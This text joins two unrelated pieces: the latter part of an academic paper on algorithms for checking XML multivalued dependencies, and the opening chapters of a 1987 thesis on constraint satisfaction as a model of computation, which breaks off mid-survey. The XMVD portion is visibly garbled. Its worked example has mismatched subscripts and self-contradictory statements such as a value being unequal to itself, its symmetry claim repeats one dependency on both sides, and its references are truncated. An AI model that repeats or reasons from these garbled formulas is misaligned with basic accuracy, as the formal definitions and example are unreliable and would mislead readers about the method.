where $x_{i_l} = \{v|v \in \{v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(r_j \cap q_i))\}$ and $y_{i_l} = \{v|v \in \{w_{j_1}^{z_1}, \ldots, w_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(r_j \cap q_i))\}$ and $x_{i_l} = \{v|v \in \{v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(p_l \cap r_j \cap q_i))\}$ and $y_{i_l} = \{v|v \in \{w_{j_1}^{z_1}, \ldots, w_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(p_l \cap r_j \cap q_i))\}$ and $x_{i_l} = \{v|v \in \{v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(r_j \cap q_i))\}$ and $y_{i_l} = \{v|v \in \{w_{j_1}^{z_1}, \ldots, w_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(r_j \cap q_i))\}$ and $x_{i_l} = \{v|v \in \{v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(p_l \cap r_j \cap q_i))\}$ and $y_{i_l} = \{v|v \in \{w_{j_1}^{z_1}, \ldots, w_{j_n}^{z_1}\} \wedge v \in \text{instnodes}(\text{endnodes}(p_l \cap r_j \cap q_i))\}$.
We note that since the path $r_j \cap q_i$ is a prefix of $q_i$, there exists only one node in $v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}$ that is also in $\text{branEndnodes}(r_j \cap q_i)$ and so $x_{i_l}$ is always defined and is a single node. Similarly for $y_{i_l}, x_{i_l}, y_{i_l}, x_{i_l}, y_{i_l}, x_{i_l}, y_{i_l}$. We also note that the definition of an XMVD is symmetrical, i.e. the XMVD $p_1, \ldots, p_k \rightarrow q_1, \ldots, q_m| r_1, \ldots, r_s$ holds if and only if the XMVD $p_1, \ldots, p_k \rightarrow q_1, \ldots, q_m| r_1, \ldots, r_s$ holds. We now illustrate the definition by some examples.
Example 3.1 Consider the XML tree shown in Figure 2 and the XMVD $C: \text{root.A.Course} \rightarrow \rightarrow \text{root.A.B.Teacher.S[root.A.C.Text.S]$. Let $v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}$ be the path instance $v_{r,v_{12},v_{2},v_{4},v_{8}}$ and let $w_{j_1}^{z_1}, \ldots, w_{j_n}^{z_1}$ be the path instance $v_{r,v_{12},v_{2},v_{5},v_{9}}$. Both path instances are in instances($\text{root.A.B.Teacher.S}$) and $\text{val}(v_{j_1}^{z_1}) \neq \text{val}(v_{j_1}^{z_1})$. Moreover, $x_{i_1} = \{v_{12}, v_{12}, v_{r,v_{12},v_{2},v_{4},v_{8}}\} \wedge v_{12} \in \text{instnodes}(\text{endnodes}(\text{root.A.Course}))) \wedge \text{val}(z_1) = \text{val}(z_4)$. Hence conditions (i), (ii) and (iii) of the definition of an XMVD are satisfied. If we let $v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}$ be the path $v_{r,v_{12},v_{2},v_{4},v_{8}}$ we firstly have that $\text{val}(v_{j_1}^{z_1}) = \text{val}(v_{j_1}^{z_1})$ as required. Also, since the path instances are the same we have that $x_{i_1} = x_{i_1}$ and $x_{i_1} = x_{i_1}$. So if we let $x_{i_1} = x_{i_1}$ then $z_1 \in \text{branEndnodes}(x_{i_1}, \text{root.A.Course})$ and $\text{val}(z_1) = \text{val}(z_2)$ and if we let $x_{i_1} = x_{i_1}$ then $z_3 \in \text{branEndnodes}(x_{i_1}, \text{root.A.Course})$ and $\text{val}(z_3) = \text{val}(z_3)$. So part (a) of the definition of an XMVD is satisfied.
Next if we let \(w_1', \ldots, w_n'\) be the path \(v_1, v_2, \ldots, v_9\) then we firstly have that \(val(w_1') = val(w_n')\) since the paths are the same. Also, since the paths are the same we have that \(y_{11} = y_{11}'\) and \(y_{111} = y_{111}'\). So if we let \(z_2' = v_{10}\) then \(z_2' \in \text{branEndnodes}(y_1', \text{root.A.Text.S})\) and \(val(z_2') = val(z_1)\) and if we let \(z_4' = v_1\) then \(z_4' \in \text{branEndnodes}(x_1', \text{root.A.Course})\) and \(val(z_4') = val(z_4)\). Hence part (b) on the definition of an XMVD is satisfied and so \(T\) satisfies the XMVD \(C\).

More example showing the satisfaction and dissatisfaction of XMVDs can be found in [14].
4 Algorithm of checking XMVD
In this section, we present our algorithm for checking XMVD satisfaction.
Given an XMVD \(P \rightarrow Q | R\), where \(P = \{p_1, \ldots, p_n\}\), \(Q = \{q_1, \ldots, q_n\}\), and \(R = \{r_1, \ldots, r_n\}\), we let \(S = \{s_1', \ldots, s_n'\} = P \cup \overline{Q} \cup \overline{R}\). We call \(n\) the **number of paths involved** in the XMVD. To check this XMVD against a document, we firstly parse the document to extract values for \(s_i\), \(1 \leq i \leq n\). These values are then combined into tuples of the form \(<v_1, \ldots, v_n>\) where \(v_i\) is a value for the path \(s_i\). Finally, the tuples are used to check the satisfaction of the XMVD. For parsing a document, we need to define a control structure based on the paths involved.
4.1 Defining parsing control structure
We sort \(S = P \cup Q \cup R\) by using string sorting and denote the result by \(S' = [s_1, \ldots, s_n]\). We call the set of end elements of the paths in \(S'\) **prime end elements** and denoted by \(PE\), i.e., \(PE = \{endL(s) | s \in S\}\) where \(endL()\) is defined in Definition 2.2. Note that \(S'\) being a list can simplify the calculation of all the intersections of path in \(S'\) as shown below. Consider the example in Figure 3 which will be a running example in this section. Let an XMVD be \(r.A.C.F \rightarrow r.A.C.D.E|r.A.B\). Then \(S' = [r.A.B, r.A.C.D.E, r.A.C.F] \) and \(PE = \{B, E, F\}\).
Let $H = \{h'_1, \cdots, h'_m\}$ be a set of paths that are the intersections of paths in $So$ where $h'_i = s_i \cap s_j$, $(i = 1, \cdots, m)$, $j = i + 1$ and $m = n - 1$. We call the elements ending the paths in $H$ intersection end elements and denote the set by $IE$. We call both intersection end elements and prime end elements key end elements and denote them by $KE$. In Figure 3, $H = \{r.A, r.A.C\}$, $IE = \{A, C\}$, $KE = \{A, C, B, E, F\}$.
Now we define and calculate the contributing elements of intersection elements. Let $iE$ be the intersection end element of an intersection path $h$, i.e., $iE = \text{endL}(h)$. The contributing elements of $iE$, denoted by $CE(iE)$, are defined to be all key end elements of $So$ and $H$ under $h$ but not contributing elements of any other intersection end elements. To calculate the contributing elements, we first sort the paths in $H$ by applying string sorting and put the result in $Ho$ as $[h_1, \cdots, h_m]$. We then follow the following algorithm to calculate contributing elements.
**Algorithm 4.1 (calculation of contributing elements)**
**Input:** $So = [s_1, \cdots, s_n]$ and $Ho = [h_1, \cdots, h_m]$
**Do:** For $h = h_m, \cdots, h_1$ in order,
- Foreach $s$ in $So$, if $s$ is not marked and if $\text{endL}(s)$ is a descendent of $h$, put $\text{endL}(s)$ in $CE(\text{endL}(h))$ and mark $s$.
- Foreach $h_x \in Ho$, if $h_x$ is not marked and if $\text{endL}(h_x)$ is a descendent of $h$, put $\text{endL}(h_x)$ in $CE(\text{endL}(h))$ and mark $h_x$.
**Output:** $CE(\text{endL}(h))$ for all $h \in Ho$.
In the running example of Figure 3, the results of applying Algorithm 4.1 are $CE(C) = \{E, F\}$ and $CE(A) = \{B, C\}$.
### 4.2 Parsing a document
We define the function $\text{val}(k)$ to mean the value set of a key end element. Note that if $k$ is a prime end element, $\text{val}(k)$ will be accumulated if there are multiple presences of the same elements under a same node. If $k$ is an intersection end element, $\text{val}(k)$ is a set of tuples generated by the production of the values and/or value sets of contributing elements of $k$. We call each element of the production a tuple. Obviously, $\text{val}(k)$ changes as the parsing progresses. We now show some
examples of val(k) w.r.t Figure 3. When parsing reaches tag <C> in Line 3, val(C), val(E) and val(F) are all set to empty. When parsing has completed Line 6, val(E) = {"e1", "e2"} and val(F) = {"f1", "f2"}. When parsing of Line 7 is completed, val(C) = {<"e1", "f1">, <"e1", "f2">, <"e2", "f1">, <"e2", "f2">}. We further define some notation. stk denotes a stack while stkTop is used to refer to the element currently at the top of the stack. For simplicity, we define e ∈ X, where e is an element and X is a path set, to be true if there exists a path x ∈ X such that endL(x) = e. With all these definitions, we present the algorithm that parses a document. Also for simplicity, we use val(h) to mean val(endL(h)) where h is a path.
Algorithm 4.2 (parsing documents)
Input: S0, Ho, CE, PE, an empty stk, and a document
Do: Foreach element e in the document in the order of presence
if e ∈ Ho and e closes stkTop, do production of the contributing attributes as the following:
let CE(e) = {e1, ..., ec}, then
val(e) = val(e) ∪ {val(e1) × ... × val(ec)}
Note that some val(ei) can be sets of tuples while the others can be sets of values.
else if e ∈ Ho
push e to stk
reset val(e1), ..., val(ec) to empty where e1, ..., ec ∈ CE(e)
else if e ∈ PE
read the value v of e and add v to val(e)
if e is a leaf element, v is the constant string on the node.
if e is an internal node, v is ’null’.
else
ignore the element and keep reading
Output: val(h1) where h1 is the first element in Ho - the shortest intersection path.
Note that the algorithm scans the document only once and all tuples are generated for the XMVD.
In the algorithm, the structures S0, Ho, CE, PE, an empty stk form a structure group. If there are multiple XMVDs to be checked at the same time, we create a structure group for each XMVD. During document parsing, for each element e read from the document, the above algorithm is applied to all structure groups. This means for checking multiple XMVDs, the same document is still scanned once.
4.3 Tuple attribute shifting and XMVD checking
For each tuple t in val(h1), where h1 is the first element in Ho - the shortest intersection path, it contains a value for each paths of the XMVD, but the
values are in the order of their presence in the document. This order is different from the order of paths in the XMVD. For example in Figure 3, the tuple <"b1","e1","f1"> is in val(root.A) and the values of the tuple are for the paths r.A.B, r.A.C.D.E, r.A.C.F in order. This order is different from the order of paths in the XMVD: r.A.B, r.A.C.D.E r.A.C.F. We define the operation shiftAttr() to rearrange the order of values of t so that the values for the paths in P are moved to the beginning of t, the values for the paths in Q are moved to the middle of t, and the values for the paths in R are at the end of t. The shiftAttr() operation is applied to every tuple of val(h1) and the result is denoted by Tsa = shiftAttr(val(h1)).
We define a further function removeDuplicates(Tsa) to remove duplicating tuples in Tsa and we denote the returned set as Tdist. Thus, the following algorithm checks whether an XML document satisfies an XMVD and this algorithm is one of the main results of our proposal. The basic idea of checking is to group all the tuples for the XMVD so that tuples with the same P value is put into one group. In each group, the number of distinct Q values, |Q|, and the number of distinct R values, |R|, are calculated. Then if |Q| × |R| is the same as the number of distinct tuples in the group, the group satisfies the XMVD; otherwise, it violates the XMVD. If all the groups satisfy the XMVD, the document satisfies the XMVD.
**Algorithm 4.3 (checking mvd)**
Input: Tdist
Do: violated = 0
For G be each set of all tuples in Tdist having the same P value
let |G| be the number of tuples in G
let dist(Q) and dist(R) be the numbers of distinct Q values and of distinct R values in G respectively
if ( |G| ! = dist(Q) × dist(R) ) then violated + +;
Output: if ( violated == 0 ) return TRUE; otherwise return FALSE.
Note that this algorithm assumes that G is the set of all tuples having the same P value. To satisfy this assumption, one has to group tuples in Tdist so that tuples with the same P value can be put together. A quick solution to this is not direct as show in the next section and therefore the way of achieving the assumption greatly affects the performance of whole checking algorithm.
5 Implementation and Performance
In this section, we present the performance results of our tests using an adapted hashing implementation. The tests were done on a Pentium 4 computer with 398 MB of main memory. The tests used XMVDs involving 12 paths, 9 paths, 6 paths, and 3 paths respectively. The XML documents used in the tests have random string values of about 15 characters for each path. This means that if
there are three paths involved in an XMVD, the length of a tuple is about 45
caracters while if there are twelve paths in an XMVD, the length of a tuple is
around 180 characters.
In Algorithm 4.3, an assumption is taken that all tuples having the same
$P$ value are grouped together. At the same time, in each group, the number of
distinct $Q$ values and the number of distinct $R$ values need to be calculated. To
obtain these numbers, we choose to use an adapted hashing technique which is
based on the standard extensible hashing [11]. In the standard extensible hashing
technique, each object to be hashed has a distinct key value. By using a hash
function, the key value is mapped to an index to a pointer, pointing to a fixed
size basket, in a pointer directory. The object with the key value will then be
put into the pointed basket. Every time a basket becomes full, the directory
space is doubled and the full basket is split into two. In our implementation,
we use the digests, integers converted from strings, of $P$ values of tuples as the
key values of the standard extensible hashing. Our modification to the standard
extensible hashing technique is the following.
The baskets we use are extensible, meaning that the size of each basket is
not fixed. We allow only the tuples with the same key value to be put into a
basket. We call the key value of the tuples in the basket the basket key. Tuples
with different keys are said conflicting. If placing a tuple into an existing basket
causes a conflict, a new basket is created and the conflicting tuple is put into the
new basket. At the same time, the directory is doubled and new hash codes are
calculated for both the existing basket key and the new basket key. The doubling
process continues until the two hash codes are different. Then the existing and
the new baskets are connected to the pointers indexed by the corresponding hash
codes in the directory.
Figure 4 shows the directory and a basket. Note that because of directory
space doubling, a basket may be referenced by multiple pointers. In the diagram,
p stands for the basket key, the three spaces on the right of p are lists storing
distinct $Q$ values, distinct $R$ values and distinct $Q$ and $R$ combinations. On top
of the lists, three counters are defined. $nq$ stands for the number of distinct $Q$
values, $nr$ the number of distinct $R$ values and $nqr$ the number of distinct $Q$
and $R$ combinations. After hashing is completed, the three counters are used to
check the XMVD as required by Algorithm 4.3. When a new tuple $t = < p, q, r >$,
where $p$, $q$ and $r$ are values for $P$, $Q$ and $R$ respectively, with the same $p$ value
is inserted to a basket, $q$ is checked against all existing values to see if it equals
to one of them. If yes, the $q$ value is ignored; otherwise, the $q$ value is appended
to the end of the list and the counter is stepped. Similar processes are applied
to insert $r$ and the combination $< q, r >$.
We now analyze the performance of hashing. Obviously the calculation of
hash codes to find baskets for tuples is linear in relation to the number of tuples.
When a tuple $t = < p, q, r >$ is put into a basket that has already has tuples,
then comparisons are needed to see if $q$, $r$ and the combination $< q, r >$ are
already in the lists. The performance of the comparison relates to the number
of distinct existing values. Generally, if we need to put \( n' \) values into a list that has had \( m \) distinct values, then the performance is \( O(n' * m) \) comparisons.
We conducted a number of experiments to observe the performance of the implementation and the results are given in Figure 5. In this experiment we plotted the time taken for checking XMVD satisfaction against the number of tuples in the document, for varying numbers of paths in the XMVD (we used 6, 9, and 12). In the cases of 3 paths and 6 paths, we see that the former has a higher cost. This can be explained because the overall performance contains the time for parsing documents. To have the same number of tuples in the cases of 3 paths and 6 paths, the 3 path case has a much larger file size, about 70 times of that of 6 paths and therefore the parsing time used is much larger in contrast to that of 6 path case. It is the parsing time that makes performance for 3 paths worse than that for 9 or 12 paths.


We also implemented the algorithms in a sorting based approach to compare the performance of this hashing based approach. The result of the sorting implementation and its comparison with the hashing based approach are given in the full version of this paper [10].
6 Conclusions
In this paper we have addressed the problem of developing an efficient algorithm for checking the satisfaction of XMVDs, a new type of XML constraint that has
recently been introduced [13, 14]. We have developed an extensible hash based
algorithm that requires only one scan of the XML document to check XMVDs.
At the same time its running time is linear in the size of the application which is
proved to be the number of tuples. The algorithm can check not only the cases
where there is only one XMVD, but also the cases involving multiple XMVDs.
References
1. Serge Abiteboul, Peter Buneman, and Dan Suciu. Data on the Web - From Rela-
tions to Semistructured Data and XML. Morgan Kayfman Publisher, 2000.
2. Marcelo Arenas and Leonid Libkin. A normal form for xml documents. PODS,
2002.
6. Peter Buneman, Susan Davidson, Wenfei Fan, Carmem Hara, and Wang-Chiew
8. Peter Buneman, Wenfei Fan, and Scott Weinstein. Path constraints in semistruc-
9. Wenfei Fan and Leonid Libkin. On xml integrity constraints in the presence of
12. Millist Vincent and Jixue Liu. Functional dependencies for xml. LNCS 2642 -
13. Millist Vincent and Jixue Liu. Multivalued dependencies and a 4nf for xml. LNCS
2681 - Proc. International Conference on Advanced Information Systems Engi-
14. Millist Vincent and Jixue Liu. Multivalued dependencies in xml. LNCS 2712 -
16. Millist Vincent, Jixue Liu, and Chengfei Liu. Strong functional dependencies and
their application to normal forms in xml. Accepted on 05/Feb/2004 for publication
17. Millist Vincent, Michael Schrefl, Jixue Liu, Chengfei Liu, and Solen Dogen. Gen-
|
{"Source-Url": "https://researchbank.swinburne.edu.au/file/63e1f76d-223f-4392-b5b7-c54f518fd431/1/PDF%20(Accepted%20manuscript).pdf", "len_cl100k_base": 9878, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 49175, "total-output-tokens": 11458, "length": "2e13", "weborganizer": {"__label__adult": 0.0003204345703125, "__label__art_design": 0.0004246234893798828, "__label__crime_law": 0.0004744529724121094, "__label__education_jobs": 0.00180816650390625, "__label__entertainment": 0.00010257959365844728, "__label__fashion_beauty": 0.0001885890960693359, "__label__finance_business": 0.0004925727844238281, "__label__food_dining": 0.00034356117248535156, "__label__games": 0.0004651546478271485, "__label__hardware": 0.0009279251098632812, "__label__health": 0.0006256103515625, "__label__history": 0.0003552436828613281, "__label__home_hobbies": 0.00013458728790283203, "__label__industrial": 0.000522613525390625, "__label__literature": 0.0004804134368896485, "__label__politics": 0.0003275871276855469, "__label__religion": 0.0005288124084472656, "__label__science_tech": 0.1427001953125, "__label__social_life": 0.00016498565673828125, "__label__software": 0.023162841796875, "__label__software_dev": 0.82470703125, "__label__sports_fitness": 0.0002388954162597656, "__label__transportation": 0.0004494190216064453, "__label__travel": 0.00022351741790771484}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 33376, 0.03607]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 33376, 0.61373]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 33376, 0.81002]], "google_gemma-3-12b-it_contains_pii": [[0, 889, false], [889, 3502, null], [3502, 6939, null], [6939, 9296, null], [9296, 12158, null], [12158, 16262, null], [16262, 18444, null], [18444, 20716, null], [20716, 22979, null], [22979, 25633, null], [25633, 29010, null], [29010, 30555, null], [30555, 33376, null]], "google_gemma-3-12b-it_is_public_document": [[0, 889, true], [889, 3502, null], [3502, 6939, null], [6939, 9296, null], [9296, 12158, null], [12158, 16262, null], [16262, 18444, null], [18444, 20716, null], [20716, 22979, null], [22979, 25633, null], [25633, 29010, null], [29010, 30555, null], [30555, 33376, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 33376, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 33376, null]], "pdf_page_numbers": [[0, 889, 1], [889, 3502, 2], [3502, 6939, 3], [6939, 9296, 4], [9296, 12158, 5], [12158, 16262, 6], [16262, 18444, 7], [18444, 20716, 8], [20716, 22979, 9], [22979, 25633, 10], [25633, 29010, 11], [29010, 30555, 12], [30555, 33376, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 33376, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
4d37efd05eb73e96f1eb5dc8913848f36d04a52e
|
CONSTRAINTS, A MODEL OF COMPUTATION
by
Suryanarayana M Mantha
Thesis submitted to the Faculty of the Virginia Polytechnic Institute and State University in partial fulfillment of the requirements for the degree of Master of Science in Computer Science and Applications
APPROVED:
______________________________
Dr. J.W. Roach, Chairman
______________________________
Dr. J.A.N. Lee
______________________________
Dr. P. Bixler
July 1987
Blacksburg, Virginia
ABSTRACT
In this thesis constraint solving/satisfaction is presented as a model of computation. Advantages of using constraints as a paradigm of programming are presented. A semantic schema for constraint based computations is given, following a brief survey of the more important systems based on constraints. These systems range from particular algorithms to problem solvers to constraint based general purpose programming languages. Finally, constraint satisfaction is applied to logic programming and theorem proving. It is shown that incorporating constraint solving in definite clause programs enhances their expressive power. Also, an alternative semantics - based on constraint satisfaction - is given for theorem proving.
Acknowledgements
I would like to thank my advisor Dr. John Roach for his help and guidance. Numerous discussions and arguments with S. Renganathan helped me understand the concepts of logic programming. I will never forget the long evenings we (Renga and I) spent debugging the PROLOG compiler being developed at Tech.
I would like to thank my housemates and other friends. They were a constant source of help and encouragement. Finally, I must thank my parents for the unconditional love they have given all these years.
Contents
1 Introduction ............................................. 1
1.1 Why Constraints? ...................................... 2
1.2 Semantics of Languages .............................. 4
1.3 Organization ......................................... 6
2 A survey of Constraint based Systems .................. 7
2.1 Sketchpad ........................................... 7
2.2 Waltz's Algorithm ................................... 7
2.3 Ref-Arf ............................................. 8
2.4 Thinglab ........................................... 9
2.5 Constraints ......................................... 11
2.6 Constraint Propagation with Interval Labels ............. 14
2.7 Summary ........................................... 14
3 A Semantic Schema for Computations using Constraints 16
3.1 Motivation .......................................... 16
3.2 Definitions ........................................ 17
3.2.1 Definition 1 ..................................... 17
3.2.2 Definition 2 ..................................... 18
3.2.3 Theorem 1 ....................................... 18
3.2.4 Definition 3 ..................................... 18
3.2.5 Definition 4 ..................................... 18
3.3 Constraint Satisfaction ............................... 19
3.3.1 A lattice theoretic approach .................... 19
3.4 Summary ........................................... 22
4 An Application in Logic .................................. 23
4.1 Prolog and its Semantics ............................. 23
4.2 A Constraint Satisfaction Approach .................... 26
4.3 Summary ........................................... 29
5 Conclusions ............................................. 30
List of Figures
2.1 A Context Structure ........................................ 10
2.2 Example of a constraint in Thinglab ...................... 12
Chapter 1
Introduction
In the last two decades, a lot of attention has been focussed on what is called the
software crisis. It is widely agreed that the development of software packages is
a difficult and thankless job. The twin problems of programmer productivity and
software reliability have refused to admit of any easy solutions.
Two rather different approaches have been taken to remedy this unfortunate
situation. The first of these is software engineering which sets guidelines for structured and/or disciplined programming in the hope that programs written following these guidelines will have the desired properties of
1. correctness,
2. clarity and ease of understanding,
3. other features such as modularity, portability etc.
The second approach to tackling the software crisis is somewhat more drastic. It seeks alternative models of computation and paradigms of programming. These efforts are directed towards identifying paradigms that naturally allow the expression of problems in an intuitively appealing as well as mathematically precise fashion.
The designer of a programming language has to keep two equally important issues in mind. The first of these is: it should be convenient for the programmer to express problems in a programming language. The ideal – which remains as unrealizable today as ever? – is: the user should be able to program in a very high level language such as English or Swahili! It should also be possible to efficiently execute programs written in such a language. This demands that the language designer take the features of the machine into consideration. As an unfortunate consequence, often questionable and sometimes inexcusable design decisions of the computer architect are reflected in the design of the language.
These two issues are of a rather conflicting nature. Is it possible to reduce the undesirable effects of one upon the other? Is there a model of computation that satisfactorily achieves the two goals, or at the very least, reduces the interplay
between the two. We believe that there is indeed such a model and that is the
relational (constraint) model of computation.
Most problems can be naturally expressed as a collection of constraints that
certain objects must satisfy. Mathematically expressed, a constraint satisfaction
problem is:
1. \( V \) is a set of variables \((v_1 \ldots v_n)\),
2. Each variable \( v_i \) can take values from a domain \( D_i \),
3. \( C_1 \ldots C_m \) is a collection of constraints, constraining the values of \((v_1 \ldots v_n)\).
The problem is to find values of \( v_1 \ldots v_n \) that satisfy \( C_1 \ldots C_m \) simultaneously. Of
course, certain classes of problems — engineering design and optimization problems
among others — are best expressed in the above fashion.
In this report we study the semantic aspects of systems based on constraints
and present a general semantic schema for such systems.
1.1 Why Constraints?
In recent years, constraint satisfaction techniques have received a lot of attention. Many researchers have actively worked in different areas related to constraints. Some of these areas are:
1. application of the constraint satisfaction algorithm to problems in AI. Waltz's
algorithm\([WALZ72]\), related to the labeling of edges and surfaces in three
dimensional objects, is the most well known among these efforts,
2. using constraint satisfaction/manipulation methods for general problem solv-
ing,
3. Theory based heuristics for different factors that determine the efficiency of
constraint satisfaction techniques. Some factors that immediately come to
mind are
(a) problem representation methods,
(b) search order.
4. study of constraints as a paradigm of programming. In fact, the first three
culminate in an effort to extend constraints to a general paradigm for pro-
gramming.
What is it about constraints that makes them so attractive as a means of prob-
lem representation and a model of computation? Steele\([STEL80]\] has given very
persuasive arguments in favor of constraints as a paradigm of programming. He
claims that constraints form a natural and human-oriented paradigm of computation. He associates - and quite correctly at that- two images with constraints.
The first image suggests that a constraint is a *declarative statement of relationship* among symbolically denoted quantities. The constraint
\[ \text{abs}(a) < \text{abs}(b) \]
is a statement of a certain *relationship* between the two objects \(a\) and \(b\). Similarly, the equation
\[ x + y = z \]
states the constraint that the value of the sum of \(x\) and \(y\) be equal to the value of \(z\). An interesting feature of the above constraint is the following. It can be viewed in more than one way. It can be looked upon as stating the constraint that the value of \(x\) be equal to the difference between the values of \(z\) and \(y\).
The second image is that these declarative statements also have the capability of enforcing the relationships they state. In other words, they also have a procedural interpretation. A constraint can be looked upon as an object or a device that enforces the stated relationship among the variables. In the above example, the values of \(x\) can be calculated when the values of \(y\) and \(z\) get known. Alternatively, an error message can be sent to the user if the values of \(x\), \(y\), and \(z\) (obtained from some other constraint) do not satisfy the current constraint.
A problem can therefore be viewed as a collection of constraints among a set of variables. The problem is said to be solved when the variables are given values that are consistent with all the constraints simultaneously.
One of the most attractive features of this paradigm is its generality. It gives us an intuitively clear and appealing notion of computation. It is not restricted to any particular domain of problems, although there are certain classes of problems (engineering design problems for instance) that are undoubtedly better suited for this approach.
Constraints define *relations* among objects in a domain. The advantage of a relational semantics for a programming language is that a static meaning can be assigned to the program independent of any computational model. We do not have to appeal to the notion of a simple and completely unambiguous machine and try to interpret the program in terms of the basic operations of such a machine. The norm in the comparative study of programming languages has been to compare the performance of different programming languages on a fixed model of computation. In most cases, this model is that of a Turing machine. A relational semantics would allow different implementations to be judged uniformly.
It would also bring about a natural and desirable division in the task of programming a problem. The first subtask would devote itself to stating relationships between objects that must be satisfied in order for the problem to be considered solved. The second part would deal with efficient ways of manipulating these con-
straints or relationships, so that variables get valid instantiations. These instantiations correspond to correct answer computations. The job of deciding the correctness of the program would be assigned to the first part. Thus, a correctness proof would not have to worry about the idiosyncracies of the machine the problem is to be programmed on.
Another important feature of constraints is their locality. A constraint operates on the values of its known variables in order to deduce values for the other variables. Each constraint denotes an independent logical statement. The only way it interacts with other constraints is through shared variables. This implies that constraints can be solved in parallel on different processors. However, global consistency must be maintained.
As we observed earlier, constraints can be viewed in more than one way. They are adirectional in nature. This makes the control structure of a program more flexible than in ordinary languages. Values of variables are computed and propagated as and when variables on which they depend get instantiated. The data flow model is a special case of the constraint model in which the direction of the flow of data is predetermined. Adirectionality implies however, that the capability of viewing a constraint in more than one way must be present. Such a capability would require a sophisticated architecture or - in the worst case - explicit representation (as distinct constraints) of the various interpretations of a single constraint.
Davis [DAV87] summarizes the salient features of a constraint satisfaction system.
1. Constraint satisfaction/propagation consists of a simple control structure applied to a simple updating module. Systems based on it are therefore easy to code, analyze and extend.
2. It is easy to debug, since interrupting the process in the middle gives useful information already deduced.
3. It is amenable to parallelism, since updating can be performed all over the network simultaneously.
4. It is well suited to incremental systems. Constraints may be added incrementally, updating the values of the variables and propagating the effects.
### 1.2 Semantics of Languages
The semantics of a language provide a meaning to its expressions, statements, and programs. The two important considerations while defining a language are completeness and clarity. These two objectives are rather difficult to achieve together. There are three standard approaches to specifying the semantics of a programming language.
1. **The operational approach:** The meaning of each construct in the language is given by describing the effect of its execution on a *simple* and totally *unambiguous* machine.
2. **The denotational approach:** Each construct in the language is defined in terms of mathematical entities that specify their meaning.
3. **The axiomatic approach:** The meaning of each construct is specified in terms of formal statements (usually sentences in logic) that describe the effect of its execution.
The approach we take is similar to the denotational approach. It is very difficult to define - precisely and completely - the semantics of a programming language. Even in the case of constraints, it is not possible to give a single semantic interpretation that specifies all classes of constraints and computations based on them. The generality of constraints, which is an advantage in some respects, precludes such a possibility. Constraints can be of very different kinds. Such different entities as transcendental equations and sentences in first order logic can be viewed as constraints.
It is, however, possible to identify certain issues germane to most constraint based systems.
1. Is there a mathematical function that captures the constraint satisfaction process?
2. In what order are the constraints applied? Are they to be applied in a wholesale or incremental fashion? In the former, processing is started only after all the constraints have been input. In incremental systems, query answering alternates with accepting new constraints.
3. Is the constraint satisfaction algorithm complete and sound? By complete we mean that the algorithm gives all the answers to a problem. By sound we mean that the system does not compute any incorrect answers. What are the classes of constraints for which it is complete?
4. How are the constraints represented? We observed earlier that one of the chief advantages of computing with constraints is, they allow problems to be modeled visually.
In this report we restrict our attention to the first issue. The above problems are far from trivial for most classes of constraints. The *control problem*, i.e. the order in which the constraints are to be applied is probably the most difficult of them all. At this time, we do not have completely general and satisfactory solutions to the issues related to constraint based systems. It is our hypothesis, that most of these questions will have to be answered in the context of a particular application.
A general approach is however, helpful in that, it will give a better understanding of the features common to all constraint based systems and help us realize the goal of building a general purpose language based on this model.
1.3 Organization
The report is organized as follows.
Chapter 2 takes a closer look at some of the more important systems based on constraints. Chapter 3 presents a general semantic schema for constraint based computations. In Chapter 4, we look at an application in logic and show that logic programming is one form of constraint based programming.
Chapter 2
A survey of Constraint based Systems
In this chapter we shall look more closely at some of the more important work done on constraint based systems in the last two decades. This study is reported in chronological order. The reader will notice a shift in emphasis with time. In the earlier years, constraint satisfaction was looked upon as yet another algorithm that was well suited to problems in Artificial Intelligence. Later, it was used as a general problem solving technique. Only recently has the consensus grown that constraints form a natural paradigm of programming. Efforts are underway - even as this report is being written - to develop full-fledged general purpose programming languages based on constraints.
2.1 Sketchpad
The Sketchpad system developed by Sutherland[SUTH63] in 1963 was the first to be built incorporating the principle of constraints. It provided a graphic display output, a user interface and automatic satisfaction of constraints. All the constraints were equalities among linear relationships of variables. In Sketchpad, constraints were primarily used to describe geometric objects.
2.2 Waltz’s Algorithm
